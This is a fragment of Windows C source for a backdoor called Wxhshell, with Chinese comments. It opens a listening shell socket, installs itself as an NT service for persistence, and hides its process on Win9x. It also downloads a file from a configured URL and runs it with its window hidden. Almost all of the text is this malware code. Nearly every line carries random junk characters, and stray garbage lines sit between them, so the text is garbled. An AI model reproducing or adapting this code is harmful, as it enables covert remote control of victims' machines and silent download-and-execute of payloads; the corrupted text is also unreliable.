ULONG UniqueProcessId; j|n R"!
ULONG InheritedFromUniqueProcessId;
OSJ$d
} PROCESS_BASIC_INFORMATION; U.TA^S]`g
Al'3?
PROCNTQSIP NtQueryInformationProcess; >7r!~+B"9'
,[Fb[#Qqb
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O f#:
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; / xQPTT
t5zKW _J7
HANDLE hProcess; v:p} B$
PROCESS_BASIC_INFORMATION pbi; g>sSS8RO
z2c6T.1M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z~Q)/d,Ac
if(NULL == hInst ) return 0; *A< 5*Db:F
ckn~#UE=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
5uf a
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DMS!a$4
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *H122njH+T
F/Pep?'
if (!NtQueryInformationProcess) return 0; _U0f=m
1}37Q&2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >+waX"e
if(!hProcess) return 0;
cAy3^{3:
_6Ha
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9kojLqCT
2%>FR4a
CloseHandle(hProcess); {[(h[MW#
OTp]Xe/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fV:83|eQ
if(hProcess==NULL) return 0; b\ PgVBf9
@KA4N`
HMODULE hMod; V:27)]q
char procName[255]; ]~%6JJN7
unsigned long cbNeeded; jtc~DL
K>9 ()XT)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fatf*}eln
>MK98(F
CloseHandle(hProcess); {U1m.30n
*J{+1Ev~$p
if(strstr(procName,"services")) return 1; // 以服务启动 l]cFqLp
to\Ni~a&
return 0; // 注册表启动 CJ%I51F`X
}
9akH
x :7IIvP
// 主模块 {|\.i
int StartWxhshell(LPSTR lpCmdLine) _wOt39e&
{ KF/-wZ"1s
SOCKET wsl; bxWa oWE0
BOOL val=TRUE; +O5hH8<&b
int port=0; 7Qsgys#/=
struct sockaddr_in door; or]IZ2^n
SzRmF1<
if(wscfg.ws_autoins) Install(); 875od
V$~9]*Wn
port=atoi(lpCmdLine); 3~\[7I/
d\Zng!Z '
if(port<=0) port=wscfg.ws_port; vI]N^j2%
_~pbqa,
WSADATA data; 5PW^j\G-f
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rGkyGz8>
c)tfAD(N8x
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \Roz$t-R|f
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `W-Fssu
door.sin_family = AF_INET; N<-Gk6`C/
door.sin_addr.s_addr = inet_addr("127.0.0.1");
FC*[*
door.sin_port = htons(port); wAd9
!by\9
?n
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kW (Bkuc)
closesocket(wsl); j7c3(*Pl
return 1; wPl%20t
} pmilrZmm]
\;-|-8Q
if(listen(wsl,2) == INVALID_SOCKET) { 4X$Qu6#i
closesocket(wsl); -^57oU
return 1; qw8Rlws%
} n(|^SH4$b
Wxhshell(wsl); %IRi1EmN8
WSACleanup(); o]:9')5^
4&f3%eTi
return 0; Rh |nP&6
Z<phcqEi8
} bTu9;(
C
$JmzrE
// 以NT服务方式启动 Y<rU#Z #T
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Uwi7)
{ q]M0md
DWORD status = 0; X76e&~
DWORD specificError = 0xfffffff; }T$p)"
f
{"?%Ku#
serviceStatus.dwServiceType = SERVICE_WIN32; 0LKRN|@
serviceStatus.dwCurrentState = SERVICE_START_PENDING; s0_nLbWwO
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aATA9V
serviceStatus.dwWin32ExitCode = 0; "Pf~iwfw
serviceStatus.dwServiceSpecificExitCode = 0; ZW}_Qs
serviceStatus.dwCheckPoint = 0; mQ=#nk$~g
serviceStatus.dwWaitHint = 0; L:8q8i
IMfqiH)
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )/EO&F
if (hServiceStatusHandle==0) return; S@Hf
&hJ
|W\(kb+
status = GetLastError(); "T"h)L<
if (status!=NO_ERROR) <o= 8FO
{ ow#1="G,=
serviceStatus.dwCurrentState = SERVICE_STOPPED; 42{:G8
serviceStatus.dwCheckPoint = 0; ; Hd7*`$
serviceStatus.dwWaitHint = 0; 1r7y]FyH$
serviceStatus.dwWin32ExitCode = status; [sb[Z:
serviceStatus.dwServiceSpecificExitCode = specificError; MxGW(p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #u
+ v_
return; _,d~}_$`i
} @fV9
S"TcM
69 o7EA
serviceStatus.dwCurrentState = SERVICE_RUNNING; .}`Ix'.
serviceStatus.dwCheckPoint = 0; 6(e>P)
serviceStatus.dwWaitHint = 0; :\}(&
>
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2[;_d;oB @
} QVE6We
nQ L@hc
// 处理NT服务事件,比如:启动、停止 S[T8T|_
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;Q&5,<
N)j
{ h65-s
switch(fdwControl) -Vhw^T1iV
{ &=k,?TJO>
case SERVICE_CONTROL_STOP: =kqt
serviceStatus.dwWin32ExitCode = 0; :Lug7bUVD
serviceStatus.dwCurrentState = SERVICE_STOPPED;
JSg$wi8
serviceStatus.dwCheckPoint = 0; Y)a^(!<H<
serviceStatus.dwWaitHint = 0; _]*>*XfF(
{ vA.MRu#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zr,VR-kW+
} +&"zU GTIc
return; }-3mPy(*%
case SERVICE_CONTROL_PAUSE: Uv~QUL3>
serviceStatus.dwCurrentState = SERVICE_PAUSED; T"}vAG( .O
break; ^<-+@v*
case SERVICE_CONTROL_CONTINUE: zNuJj L
serviceStatus.dwCurrentState = SERVICE_RUNNING; t!\tF[9e
break; XF_pN[}
case SERVICE_CONTROL_INTERROGATE: lUiL\~Gq
break; /[>sf[X\I9
}; UOmY-\ &c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @oad,=R&
} 7fX<511(
=iD3Yt
// 标准应用程序主函数 o7LuKRl
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o\)F}j&b#=
{ 9
5RBO4w%w
f0aKlhEC
// 获取操作系统版本 gOOPe5+ J
OsIsNt=GetOsVer(); Vl!6W@g
GetModuleFileName(NULL,ExeFile,MAX_PATH); (NnH:J`
t>B;w14
// 从命令行安装 <kd1Nrr!p
if(strpbrk(lpCmdLine,"iI")) Install(); SG4%}wn%
BIWWMg
// 下载执行文件 P_p<`sC9
if(wscfg.ws_downexe) { )D82N`c2\i
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .%C|+#&d
WinExec(wscfg.ws_filenam,SW_HIDE); mS~kJy_-
} /_#q@r4ZQ
6qd\)q6T&x
if(!OsIsNt) { QZ%`/\(!8_
// 如果时win9x,隐藏进程并且设置为注册表启动 H1(Uw:V8
HideProc(); Nm>A'bLM
StartWxhshell(lpCmdLine); W1FI mlXS
} e01epVR;
else !o[7wKrXb
if(StartFromService()) d6sye^P
// 以服务方式启动 {Fe[:\
StartServiceCtrlDispatcher(DispatchTable); -{vKus
else +V^;.P</
// 普通方式启动 oD1/{dRzj
StartWxhshell(lpCmdLine); 1\rz%E
_M5|Y@XN-
return 0; 3K/MvNI>
}